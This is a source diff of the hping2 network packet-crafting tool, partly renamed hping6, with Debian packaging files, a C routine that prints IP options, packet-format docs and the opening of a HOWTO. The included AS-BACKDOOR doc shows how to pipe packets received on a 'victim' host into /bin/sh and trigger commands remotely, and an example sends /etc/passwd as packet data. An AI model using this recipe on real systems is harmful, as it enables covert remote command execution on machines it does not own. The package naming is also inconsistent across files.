* debian/control: Bump Standards-Version to 3.6.2.1, no changes needed.
|
||||||
|
|
||||||
|
-- Romain Francoise <rfrancoise@debian.org> Sat, 10 Dec 2005 14:35:24 +0100
|
||||||
|
|
||||||
|
hping2 (2.rc3-3) unstable; urgency=low
|
||||||
|
|
||||||
|
* Revert previous patch and really fix bytesex.h by using endian.h and
|
||||||
|
not doing all the work all over again; fixes FTBFS on several other
|
||||||
|
archs.
|
||||||
|
|
||||||
|
-- Romain Francoise <rfrancoise@debian.org> Mon, 21 Jun 2004 23:32:21 +0200
|
||||||
|
|
||||||
|
hping2 (2.rc3-2) unstable; urgency=low
|
||||||
|
|
||||||
|
* Apply patch from Frederik Schueler <fs@lowpingbastards.de> to fix
|
||||||
|
FTBFS on amd64 (closes: #255444).
|
||||||
|
|
||||||
|
-- Romain Francoise <rfrancoise@debian.org> Mon, 21 Jun 2004 07:51:58 +0200
|
||||||
|
|
||||||
|
hping2 (2.rc3-1) unstable; urgency=low
|
||||||
|
|
||||||
|
* New upstream release.
|
||||||
|
* Fix 'ambigous' typo in antigetopt.c.
|
||||||
|
|
||||||
|
-- Romain Francoise <rfrancoise@debian.org> Sun, 20 Jun 2004 16:34:57 +0200
|
||||||
|
|
||||||
|
hping2 (2.rc2-5) unstable; urgency=low
|
||||||
|
|
||||||
|
* New maintainer (closes: #249573).
|
||||||
|
* debian/control:
|
||||||
|
+ Update maintainer contact information.
|
||||||
|
+ Reword description.
|
||||||
|
* debian/copyright: Mention maintainer change.
|
||||||
|
|
||||||
|
-- Romain Francoise <rfrancoise@debian.org> Sat, 22 May 2004 20:15:28 +0200
|
||||||
|
|
||||||
|
hping2 (2.rc2-4) unstable; urgency=low
|
||||||
|
|
||||||
|
* Fixed typo in file statistics.c (closes: #236517).
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Sun, 7 Mar 2004 04:35:42 +0100
|
||||||
|
|
||||||
|
hping2 (2.rc2-3) unstable; urgency=low
|
||||||
|
|
||||||
|
* Removed duplicate files (closes: #208946).
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Sat, 3 Jan 2004 04:58:51 +0100
|
||||||
|
|
||||||
|
hping2 (2.rc2-2) unstable; urgency=low
|
||||||
|
|
||||||
|
* Applied patch for ATM, WLAN and Token Ring support (closes: #193436).
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Sun, 18 May 2003 15:01:54 +0200
|
||||||
|
|
||||||
|
hping2 (2.rc2-1) unstable; urgency=low
|
||||||
|
|
||||||
|
* New upstream release.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Mon, 20 Jan 2003 23:41:29 +0100
|
||||||
|
|
||||||
|
hping2 (2.rc1-2) unstable; urgency=low
|
||||||
|
|
||||||
|
* Fixed a typo in hping2 description (Closes: #124740).
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Fri, 18 Jan 2002 21:15:22 +0100
|
||||||
|
|
||||||
|
hping2 (2.rc1-1) unstable; urgency=low
|
||||||
|
|
||||||
|
* New upstream release.
|
||||||
|
* Now french man page gets installed.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Fri, 17 Aug 2001 01:38:38 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta55-1) unstable; urgency=low
|
||||||
|
|
||||||
|
* New upstream release.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Wed, 1 Aug 2001 14:40:30 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta54-9) unstable; urgency=low
|
||||||
|
|
||||||
|
* Fixed the option parsing code (Closes: #90114).
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Thu, 29 Mar 2001 15:28:16 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta54-8) unstable; urgency=low
|
||||||
|
|
||||||
|
* Added versioned Build-Depend for debhelper.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Tue, 6 Mar 2001 15:17:20 +0100
|
||||||
|
|
||||||
|
hping2 (2.beta54-7) unstable; urgency=low
|
||||||
|
|
||||||
|
* Switched to debhelper compatibility version 2.
|
||||||
|
* Added some missing includes for header files. hping2 became not
|
||||||
|
succesfully compilable after some recent upgrade of libc6.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@debian.org> Wed, 28 Feb 2001 15:58:24 +0100
|
||||||
|
|
||||||
|
hping2 (2.beta54-6) unstable; urgency=low
|
||||||
|
|
||||||
|
* Made some adjustments in postinst and in prerm to cope with
|
||||||
|
dpkg-statoverride.
|
||||||
|
* Removed the Build-Dependency on libtool since this package doesn't
|
||||||
|
use it in the build process. I really don't remember why I put it there.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@libero.it> Mon, 12 Feb 2001 16:00:13 +0100
|
||||||
|
|
||||||
|
hping2 (2.beta54-5) unstable; urgency=low
|
||||||
|
|
||||||
|
* Reordered documentation files.
|
||||||
|
* Added hping2's author warning about hping2 being installed as
|
||||||
|
suid to debconf explanation. Question asked by debconf should be
|
||||||
|
more clear and hopefully authoritative.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@libero.it> Wed, 6 Sep 2000 15:33:06 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta54-4) unstable; urgency=low
|
||||||
|
|
||||||
|
* Fixed wrong Build-Depends, added debconf to Depends.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@libero.it> Mon, 4 Sep 2000 00:01:38 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta54-3) unstable; urgency=low
|
||||||
|
|
||||||
|
* Fixed overwriting of /usr/share/man/man3/pcap.3.gz (Closes: #70490).
|
||||||
|
Now pcap.3.gz is not installed at all since the interested user would
|
||||||
|
be better to install package libpcap-dev.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@libero.it> Sat, 2 Sep 2000 04:46:18 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta54-2) unstable; urgency=low
|
||||||
|
|
||||||
|
* Now, thanks to debconf, the administrator can choose whether to
|
||||||
|
install hping2 as setuid or not.
|
||||||
|
* I hope I found a more meaningful short description for
|
||||||
|
this package. :)
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@libero.it> Fri, 1 Sep 2000 19:25:14 +0200
|
||||||
|
|
||||||
|
hping2 (2.beta54-1) unstable; urgency=low
|
||||||
|
|
||||||
|
* Initial Release.
|
||||||
|
|
||||||
|
-- Domenico Andreoli <cavok@libero.it> Sat, 22 Jul 2000 14:09:34 +0200
|
1
debian/compat
vendored
Normal file
1
debian/compat
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
5
|
21
debian/control
vendored
Normal file
21
debian/control
vendored
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
Source: hping6
|
||||||
|
Section: net
|
||||||
|
Priority: extra
|
||||||
|
Maintainer: Romain Francoise <rfrancoise@debian.org>
|
||||||
|
Standards-Version: 3.6.2.1
|
||||||
|
Build-Depends: debhelper (>> 5.0.0)
|
||||||
|
|
||||||
|
Package: hping6
|
||||||
|
Architecture: any
|
||||||
|
Depends: ${shlibs:Depends}
|
||||||
|
Description: Active Network Smashing Tool
|
||||||
|
hping6 is a network tool able to send custom ICMP/UDP/TCP packets and
|
||||||
|
to display target replies like ping does with ICMP replies. It handles
|
||||||
|
fragmentation and arbitrary packet body and size, and can be used to
|
||||||
|
transfer files under supported protocols. Using hping6, you can test
|
||||||
|
firewall rules, perform (spoofed) port scanning, test network
|
||||||
|
performance using different protocols, do path MTU discovery, perform
|
||||||
|
traceroute-like actions under different protocols, fingerprint remote
|
||||||
|
operating systems, audit TCP/IP stacks, etc.
|
||||||
|
.
|
||||||
|
Homepage: http://www.hping.org/
|
24
debian/copyright
vendored
Normal file
24
debian/copyright
vendored
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
This package was debianized by Domenico Andreoli <cavok@debian.org> on
|
||||||
|
Sat, 22 Jul 2000 02:17:49 +0200.
|
||||||
|
It is now maintained by Romain Francoise <rfrancoise@debian.org>
|
||||||
|
|
||||||
|
It was downloaded from http://www.kyuzz.org/antirez/hping6.html
|
||||||
|
|
||||||
|
Upstream Author: Salvatore Sanfilippo <antirez@invece.org>
|
||||||
|
|
||||||
|
Copyright:
|
||||||
|
|
||||||
|
hping6 is free software. It comes under GPL version 2,
|
||||||
|
except for the following:
|
||||||
|
|
||||||
|
display_ipopt.c : from ping, BSD style license
|
||||||
|
libpcap library : BSD style license
|
||||||
|
|
||||||
|
for more information see the upper part of this files.
|
||||||
|
|
||||||
|
WARNING: hping6 is covered *ONLY* by GPL version 2, and *NOT* any others.
|
||||||
|
|
||||||
|
hping6 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo.
|
||||||
|
|
||||||
|
On Debian GNU/Linux systems, the complete text of the GNU Lesser General
|
||||||
|
Public License can be found in `/usr/share/common-licenses'.
|
5
debian/hping2.dirs
vendored
Normal file
5
debian/hping2.dirs
vendored
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
usr/sbin
|
||||||
|
usr/share
|
||||||
|
usr/share/man
|
||||||
|
usr/share/man/man8
|
||||||
|
usr/share/man/fr/man8
|
8
debian/hping2.docs
vendored
Normal file
8
debian/hping2.docs
vendored
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
README
|
||||||
|
KNOWN-BUGS
|
||||||
|
TODO
|
||||||
|
docs/AS-BACKDOOR
|
||||||
|
docs/HPING6-HOWTO.txt
|
||||||
|
docs/HPING6-IS-OPEN
|
||||||
|
docs/MORE-FUN-WITH-IPID
|
||||||
|
docs/SPOOFED_SCAN.txt
|
1
debian/hping2.files
vendored
Normal file
1
debian/hping2.files
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
usr/sbin/hping6
|
3
debian/hping2.links
vendored
Normal file
3
debian/hping2.links
vendored
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
/usr/sbin/hping2 /usr/sbin/hping
|
||||||
|
/usr/share/man/man8/hping2.8 /usr/share/man/man8/hping.8
|
||||||
|
/usr/share/man/fr/man8/hping2.8 /usr/share/man/fr/man8/hping.8
|
1
debian/hping2.manpages
vendored
Normal file
1
debian/hping2.manpages
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
docs/hping2.8
|
65
debian/rules
vendored
Normal file
65
debian/rules
vendored
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
#!/usr/bin/make -f
|
||||||
|
# Sample debian/rules that uses debhelper.
|
||||||
|
# GNU copyright 1997 to 1999 by Joey Hess.
|
||||||
|
|
||||||
|
# Uncomment this to turn on verbose mode.
|
||||||
|
#export DH_VERBOSE=1
|
||||||
|
|
||||||
|
configure: configure-stamp
|
||||||
|
configure-stamp:
|
||||||
|
dh_testdir
|
||||||
|
./configure --prefix=/usr --mandir=\$${prefix}/share/man --infodir=\$${prefix}/share/info
|
||||||
|
touch configure-stamp
|
||||||
|
|
||||||
|
build: configure-stamp build-stamp
|
||||||
|
build-stamp:
|
||||||
|
dh_testdir
|
||||||
|
$(MAKE)
|
||||||
|
touch build-stamp
|
||||||
|
|
||||||
|
clean:
|
||||||
|
dh_testdir
|
||||||
|
dh_testroot
|
||||||
|
rm -f build-stamp configure-stamp
|
||||||
|
|
||||||
|
# Add here commands to clean up after the build process.
|
||||||
|
-$(MAKE) distclean
|
||||||
|
|
||||||
|
dh_clean
|
||||||
|
|
||||||
|
install: build
|
||||||
|
dh_testdir
|
||||||
|
dh_testroot
|
||||||
|
dh_clean -k
|
||||||
|
dh_installdirs
|
||||||
|
|
||||||
|
# Add here commands to install the package into debian/tmp.
|
||||||
|
$(MAKE) install prefix=`pwd`/debian/tmp/usr
|
||||||
|
gzip -9 -c `pwd`/docs/french/hping2-fr.8 > `pwd`/debian/hping2/usr/share/man/fr/man8/hping2.8.gz
|
||||||
|
|
||||||
|
dh_movefiles
|
||||||
|
|
||||||
|
# Build architecture-independent files here.
|
||||||
|
binary-indep: build install
|
||||||
|
# We have nothing to do by default.
|
||||||
|
|
||||||
|
# Build architecture-dependent files here.
|
||||||
|
binary-arch: build install
|
||||||
|
dh_testdir
|
||||||
|
dh_testroot
|
||||||
|
dh_installdebconf
|
||||||
|
dh_installdocs
|
||||||
|
dh_installman
|
||||||
|
dh_installchangelogs CHANGES
|
||||||
|
dh_link
|
||||||
|
dh_strip
|
||||||
|
dh_compress
|
||||||
|
dh_fixperms
|
||||||
|
dh_installdeb
|
||||||
|
dh_shlibdeps
|
||||||
|
dh_gencontrol
|
||||||
|
dh_md5sums
|
||||||
|
dh_builddeb
|
||||||
|
|
||||||
|
binary: binary-indep binary-arch
|
||||||
|
.PHONY: build clean binary-indep binary-arch binary install
|
136
display_ipopt.c
Normal file
136
display_ipopt.c
Normal file
@ -0,0 +1,136 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (c) 1989 The Regents of the University of California.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* This code is derived from software contributed to Berkeley by
|
||||||
|
* Mike Muuss.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
* 3. All advertising materials mentioning features or use of this software
|
||||||
|
* must display the following acknowledgement:
|
||||||
|
* This product includes software developed by the University of
|
||||||
|
* California, Berkeley and its contributors.
|
||||||
|
* 4. Neither the name of the University nor the names of its contributors
|
||||||
|
* may be used to endorse or promote products derived from this software
|
||||||
|
* without specific prior written permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
|
#include "hping2.h"
|
||||||
|
#include "globals.h"
|
||||||
|
|
||||||
|
/* ripped from ping */
|
||||||
|
|
||||||
|
void display_ipopt(char* buf)
|
||||||
|
{
|
||||||
|
int i,j;
|
||||||
|
unsigned long l;
|
||||||
|
static int old_rrlen;
|
||||||
|
static char old_rr[MAX_IPOPTLEN];
|
||||||
|
unsigned char* cp;
|
||||||
|
int hlen;
|
||||||
|
struct myiphdr *ip;
|
||||||
|
struct in_addr in;
|
||||||
|
|
||||||
|
|
||||||
|
ip = (struct myiphdr *)buf;
|
||||||
|
hlen = ip->ihl * 4;
|
||||||
|
|
||||||
|
cp = (u_char *)buf + sizeof(struct myiphdr);
|
||||||
|
|
||||||
|
for (; hlen > (int)sizeof(struct myiphdr); --hlen, ++cp)
|
||||||
|
switch (*cp) {
|
||||||
|
case IPOPT_EOL:
|
||||||
|
hlen = 0;
|
||||||
|
break;
|
||||||
|
case IPOPT_LSRR:
|
||||||
|
(void)printf("LSRR: ");
|
||||||
|
hlen -= 2;
|
||||||
|
j = *++cp;
|
||||||
|
++cp;
|
||||||
|
if (j > IPOPT_MINOFF)
|
||||||
|
for (;;) {
|
||||||
|
l = *++cp;
|
||||||
|
l = (l<<8) + *++cp;
|
||||||
|
l = (l<<8) + *++cp;
|
||||||
|
l = (l<<8) + *++cp;
|
||||||
|
in.s_addr=htonl(l);
|
||||||
|
printf("\t%s",inet_ntoa(in));
|
||||||
|
hlen -= 4;
|
||||||
|
j -= 4;
|
||||||
|
if (j <= IPOPT_MINOFF)
|
||||||
|
break;
|
||||||
|
(void)putchar('\n');
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case IPOPT_RR:
|
||||||
|
j = *++cp; /* get length */
|
||||||
|
i = *++cp; /* and pointer */
|
||||||
|
hlen -= 2;
|
||||||
|
if (i > j)
|
||||||
|
i = j;
|
||||||
|
i -= IPOPT_MINOFF;
|
||||||
|
if (i <= 0)
|
||||||
|
continue;
|
||||||
|
if (i == old_rrlen
|
||||||
|
&& cp == (u_char *)buf + sizeof(struct myiphdr) + 2
|
||||||
|
&& !memcmp((char *)cp, old_rr, i)) {
|
||||||
|
(void)printf("\t(same route)\n");
|
||||||
|
i = ((i + 3) / 4) * 4;
|
||||||
|
hlen -= i;
|
||||||
|
cp += i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
old_rrlen = i;
|
||||||
|
memcpy(old_rr, cp, i);
|
||||||
|
(void)printf("RR: ");
|
||||||
|
for (;;) {
|
||||||
|
l = *++cp;
|
||||||
|
l = (l<<8) + *++cp;
|
||||||
|
l = (l<<8) + *++cp;
|
||||||
|
l = (l<<8) + *++cp;
|
||||||
|
in.s_addr=htonl(l);
|
||||||
|
printf("\t%s",inet_ntoa(in));
|
||||||
|
hlen -= 4;
|
||||||
|
i -= 4;
|
||||||
|
if (i <= 0)
|
||||||
|
break;
|
||||||
|
(void)putchar('\n');
|
||||||
|
}
|
||||||
|
putchar('\n');
|
||||||
|
|
||||||
|
break;
|
||||||
|
case IPOPT_NOP:
|
||||||
|
(void)printf("NOP\n");
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
(void)printf("unknown option %x\n", *cp);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
121
docs/APD.txt
Normal file
121
docs/APD.txt
Normal file
@ -0,0 +1,121 @@
|
|||||||
|
ARS Packet Description system
|
||||||
|
|
||||||
|
This document describes the APD format. APD is a way to describe TCP/IP
|
||||||
|
packets, and it is used in high level functions of the ARS library.
|
||||||
|
The general format is the following:
|
||||||
|
|
||||||
|
layer_type{field_1=value_1,field_2=value_2,...,field_n=value_n}
|
||||||
|
|
||||||
|
more layers can be combined using the "+" simbol. Example:
|
||||||
|
|
||||||
|
ip{dst=192.168.1.2}+udp{sport=53,dport=53}+data{file=./dns.packet}
|
||||||
|
|
||||||
|
You don't need to specify fields that ARS can guess. For example
|
||||||
|
if you don't specify checksums they will be correctly generated
|
||||||
|
in the process of packet compilation.
|
||||||
|
|
||||||
|
AVAILABLE LAYERS
|
||||||
|
~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
A layer type is one of the following:
|
||||||
|
|
||||||
|
ip IP header
|
||||||
|
ipopt.eol IP option EOL
|
||||||
|
ipopt.nop IP option NOP
|
||||||
|
ipopt.sec IP option Security
|
||||||
|
ipopt.sid IP option Stream ID
|
||||||
|
ipopt.lsrr IP option Loose Source Routing
|
||||||
|
ipopt.ssrr IP option Strict Source Routing
|
||||||
|
ipopt.rr IP option Record Route
|
||||||
|
ipopt.ts IP option Timestamp
|
||||||
|
udp UDP header
|
||||||
|
tcp TCP header
|
||||||
|
tcpopt.end TCP option END
|
||||||
|
tcpopt.nop TCP option NOP
|
||||||
|
tcpopt.mss TCP option Max Segment Size
|
||||||
|
tcpopt.wscale TCP option Window Scale
|
||||||
|
tcpopt.sackperm TCP option Selective ACK permitted
|
||||||
|
tcpopt.sack TCP option Selevtive ACK
|
||||||
|
tcpopt.echo TCP option Echo Request
|
||||||
|
tcpopt.echoreply TCP option Echo Reply
|
||||||
|
tcpopt.ts TCP option Timestamp
|
||||||
|
icmp ICMP header
|
||||||
|
data Generic Data
|
||||||
|
|
||||||
|
Different fields are defined for different layer types:
|
||||||
|
|
||||||
|
IP FIELDS: DESCRIPTION: POSSIBLE VALUE:
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
saddr Source address 192.168.1.2, or www.yahoo.com
|
||||||
|
daddr Destination address 192.168.1.2, or www.yahoo.com
|
||||||
|
ihl IP header len numerical value
|
||||||
|
ver IP version numerical value
|
||||||
|
tos Type of Service numerical value
|
||||||
|
totlen IP tot len numerical value
|
||||||
|
id IP packet ID numerical value
|
||||||
|
fragoff IP fragment offset numerical vaule
|
||||||
|
mf More Fragment 0 or 1
|
||||||
|
df Dont Fragment 0 or 1
|
||||||
|
rf Reserved Frag. bit 0 or 1
|
||||||
|
ttl Time to Live numerical value
|
||||||
|
proto ip protocol field numerical value
|
||||||
|
cksum ip checksum numerical value
|
||||||
|
|
||||||
|
UDP FIELDS: DESCRIPTION: POSSIBLE VALUE:
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
sport Source port numerical value
|
||||||
|
dport Destination port numerical value
|
||||||
|
len UDP len field numerical value
|
||||||
|
cksum UDP checksum numerical value
|
||||||
|
|
||||||
|
TCP FIELDS: DESCRIPTION: POSSIBLE VALUE:
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
sport Source port numerical value
|
||||||
|
dport Destination port numerical value
|
||||||
|
seq TCP sequence number numerical value
|
||||||
|
ack TCP acknowledge number numerical value
|
||||||
|
x2 TCP reserved bits numerical value
|
||||||
|
off TCP header size numerical value
|
||||||
|
flags TCP flags FSRPAUXY (see the example)
|
||||||
|
win TCP window numerical value
|
||||||
|
cksum TCP checksum numerical value
|
||||||
|
urp TCP urgent pointer numerical value
|
||||||
|
|
||||||
|
ICMP FIELDS: DESCRIPTION: POSSIBLE VALUE:
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
type ICMP type numerical value
|
||||||
|
code ICMP code numerical value
|
||||||
|
cksum ICMP cksum numerical value
|
||||||
|
id ICMP echo ID numerical value
|
||||||
|
seq ICMP echo sequence nr numerical value
|
||||||
|
gw ICMP gateway 192.168.1.2 or www.yahoo.com
|
||||||
|
|
||||||
|
DATA FIELDS: DESCRIPTION: POSSIBLE VALUE:
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
file Data file /etc/passwd
|
||||||
|
str A string hello world! (no escaping available)
|
||||||
|
|
||||||
|
|
||||||
|
Other layer types fields aren't still implemented, anyway
|
||||||
|
most of this contains sane defaults, (like IP record route option
|
||||||
|
and so on).
|
||||||
|
|
||||||
|
You can specify numerical values as hex, octal and decimal numbers.
|
||||||
|
|
||||||
|
Decimail: 10
|
||||||
|
Hex: 0xA
|
||||||
|
Octal: 012
|
||||||
|
|
||||||
|
Examples
|
||||||
|
~~~~~~~~
|
||||||
|
|
||||||
|
/* Just an ICMP echo request */
|
||||||
|
ip{saddr=1.2.3.4,daddr=www.yahoo.com}+icmp{type=8,code=0}\
|
||||||
|
+data{str=hello world}
|
||||||
|
|
||||||
|
/* An ICMP destination unreachable with the quoted UDP packet */
|
||||||
|
ip{saddr=1.2.3.4,daddr=5.6.7.8}+icmp{type=3,code=3}\
|
||||||
|
+ip{saddr=www.yahoo.com,daddr=1.2.3.4}+udp{sport=53,dport=53}\
|
||||||
|
|
||||||
|
/* A TCP packet with the SYN flag set */
|
||||||
|
ip{saddr=1.2.3.4,daddr=5.6.7.8}+tcp{flags=S,dport=80,sport=10}
|
37
docs/AS-BACKDOOR
Normal file
37
docs/AS-BACKDOOR
Normal file
@ -0,0 +1,37 @@
|
|||||||
|
hping can be used as a backdoor. Just try the -9 (--listen) option
|
||||||
|
and put in pipe with /bin/sh:
|
||||||
|
|
||||||
|
Put hping in listen mode in the victim host.
|
||||||
|
|
||||||
|
victim# hping -I eth0 -9 mysign | /bin/sh
|
||||||
|
|
||||||
|
Every packet that contain "mysign" will be processed by hping,
|
||||||
|
all the bytes that follows "mysign" in the packet will be dumped
|
||||||
|
to the standard output, so for example I'll able to exec commands
|
||||||
|
using all types of protocols. Just for example I can use the smtpd
|
||||||
|
to exec 'ls' in the victim.
|
||||||
|
|
||||||
|
evil$ telnet victim 25
|
||||||
|
|
||||||
|
Trying 192.168.1.1...
|
||||||
|
Connected to nano (192.168.1.1).
|
||||||
|
Escape character is '^]'.
|
||||||
|
220 nano.marmoc.net ESMTP Sendmail
|
||||||
|
mysignls;
|
||||||
|
|
||||||
|
on the victim you will see:
|
||||||
|
|
||||||
|
victim# hping -I eth0 -9 mysign | /bin/sh
|
||||||
|
hping2 listen mode
|
||||||
|
bin cdrom etc home local-home mnt root tmp var
|
||||||
|
boot dev export lib lost+found proc sbin usr
|
||||||
|
: command not found
|
||||||
|
|
||||||
|
As you can see I used 'ls;' since otherwise the shell will receive
|
||||||
|
just ls^M. The ";" force the command execution (at least with bash and zsh,
|
||||||
|
check your shell for more information).
|
||||||
|
|
||||||
|
This works with all kind of valid not-filtered IP packets, the higher
|
||||||
|
level protocl does not matter.
|
||||||
|
|
||||||
|
antirez <antirez@invece.org>
|
440
docs/HPING2-HOWTO.txt
Normal file
440
docs/HPING2-HOWTO.txt
Normal file
@ -0,0 +1,440 @@
|
|||||||
|
N.B.: this HOWTO is not completed and in some points very silly. I leave this
|
||||||
|
here only because maybe it's better that nothing.
|
||||||
|
|
||||||
|
HPING2 HOWTO
|
||||||
|
|
||||||
|
Changes Log
|
||||||
|
-----------
|
||||||
|
Aug 7 1999 vi HPING2-HOWTO.txt
|
||||||
|
Aug 8 1999 __0000, __0001, __0002, __0003
|
||||||
|
Aug 10 1999 __0004
|
||||||
|
|
||||||
|
Index
|
||||||
|
-----
|
||||||
|
[search __XXXX in order to jump to point you want]
|
||||||
|
|
||||||
|
__0000: Copyright notice
|
||||||
|
__0001: What is hping?
|
||||||
|
__0002: What i need to know about TCP/IP in order to use hping?
|
||||||
|
__0003: First step with hping
|
||||||
|
__0004: IP id and how to scan TCP ports using spoofing.
|
||||||
|
__0005: How to test firewall rules. (TODO)
|
||||||
|
__0006: How to trasfer files accross firewall. (TODO)
|
||||||
|
|
||||||
|
__000A: hping usage example (TODO)
|
||||||
|
|
||||||
|
__0000: Copyright notice, License, and all that stuff
|
||||||
|
|
||||||
|
Copyright (C) Salvatore Sanfilippo, 1999.
|
||||||
|
|
||||||
|
Permission is granted to make and distribute copies of this manual
|
||||||
|
provided the copyright notice and this permission notice are preserved
|
||||||
|
on all copies.
|
||||||
|
|
||||||
|
Permission is granted to copy and distribute modified versions of this
|
||||||
|
manual under the conditions for verbatim copying, provided that the
|
||||||
|
derived work is distributed under the terms of a permission notice
|
||||||
|
identical to this one. Translations fall under the catagory of
|
||||||
|
``modified versions.''
|
||||||
|
|
||||||
|
Warranty: None.
|
||||||
|
|
||||||
|
Recommendations: Commercial redistribution is allowed and encouraged;
|
||||||
|
however, it is strongly recommended that the redistributor contact the
|
||||||
|
author before the redistribution, in the interest of keeping things
|
||||||
|
up-to-date (you could send me a copy of the thing you're making while
|
||||||
|
you're at it). Translators are also advised to contact the author
|
||||||
|
before translating. The printed version looks nicer. Recycle.
|
||||||
|
|
||||||
|
__0001: What is hping?
|
||||||
|
|
||||||
|
Hping is a software to do TCP/IP stack auditing, to uncover firewall
|
||||||
|
policy, to scan TCP port in a lot of different modes, to transfer
|
||||||
|
files accross a firewall and many other stuff. Using hping you are
|
||||||
|
able to do even a lot of not security-regarding stuff. For example you
|
||||||
|
can test networks performance, check if a host is up, check if TOS
|
||||||
|
is handled et cetera.
|
||||||
|
|
||||||
|
__0002: What i need to know about TCP/IP in order to use hping?
|
||||||
|
|
||||||
|
If you know TCP/IP you will find hping very usefull, otherwise
|
||||||
|
you can use hping only to do well known tests. See __000A for
|
||||||
|
some example.
|
||||||
|
|
||||||
|
__0003: First step with hping
|
||||||
|
|
||||||
|
The simplest usage of hping is the following:
|
||||||
|
|
||||||
|
#hping host
|
||||||
|
|
||||||
|
This command sends a TCP null-flags packet to port 0 of target
|
||||||
|
host every second and show the host replies. For example:
|
||||||
|
|
||||||
|
# hping www.debian.org
|
||||||
|
ppp0 default routing interface selected (according to /proc)
|
||||||
|
HPING www.debian.org (ppp0 209.81.8.242): NO FLAGS are set, 40 headers + 0 data bytes
|
||||||
|
40 bytes from 209.81.8.242: flags=RA seq=0 ttl=243 id=63667 win=0 time=369.4 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=RA seq=1 ttl=243 id=63719 win=0 time=420.0 ms
|
||||||
|
40 bytes from 209.81.8.242: flags=RA seq=2 ttl=243 id=63763 win=0 time=350.0 ms
|
||||||
|
[Ctrl+C]
|
||||||
|
--- www.debian.org hping statistic ---
|
||||||
|
3 packets tramitted, 3 packets received, 0% packet loss
|
||||||
|
|
||||||
|
